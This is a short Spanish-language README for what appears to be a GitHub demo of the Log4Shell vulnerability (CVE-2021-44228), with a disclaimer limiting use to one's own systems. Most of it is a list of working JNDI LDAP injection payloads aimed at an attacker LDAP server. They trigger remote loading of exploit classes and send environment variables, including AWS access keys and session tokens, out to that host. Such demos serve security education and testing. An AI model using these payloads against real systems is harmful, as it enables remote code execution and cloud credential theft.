jxerome/log4shellDemostración educativa de la vulnerabilidad Log4Shell (CVE-2021-44228) con payloads JNDI LDAP para pruebas experimentales en tus propios sistemas.
Este proyecto es una demostración del funcionamiento de la vulnerabilidad de seguridad log4shell.
Esta vulnerabilidad está descrita en la CVE-2021-44228.
El proyecto está destinado únicamente a fines educativos. Solo debe utilizarse en su propio sistema y únicamente con fines experimentales.
Cualquier ejecución se realiza bajo su propio riesgo. El autor declina toda responsabilidad en caso de incidente como consecuencia de la ejecución del proyecto.
ldap_server=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.Exploit}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.ExploitP,msg=my friend}'
hello '${jndi:ldap://'"${ldap_server}"'/run=log4shell.aws.FetchCreds}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:USER}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=PATH:${env:PATH}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=os=${java:os}}'
hello '${jndi:ldap://'"${ldap_server}"'/log=aws_credentials,AWS_ACCESS_KEY_ID=${env:AWS_ACCESS_KEY_ID},AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_ID},AWS_SESSION_TOKEN=${env:AWS_SESSION_TOKEN}}'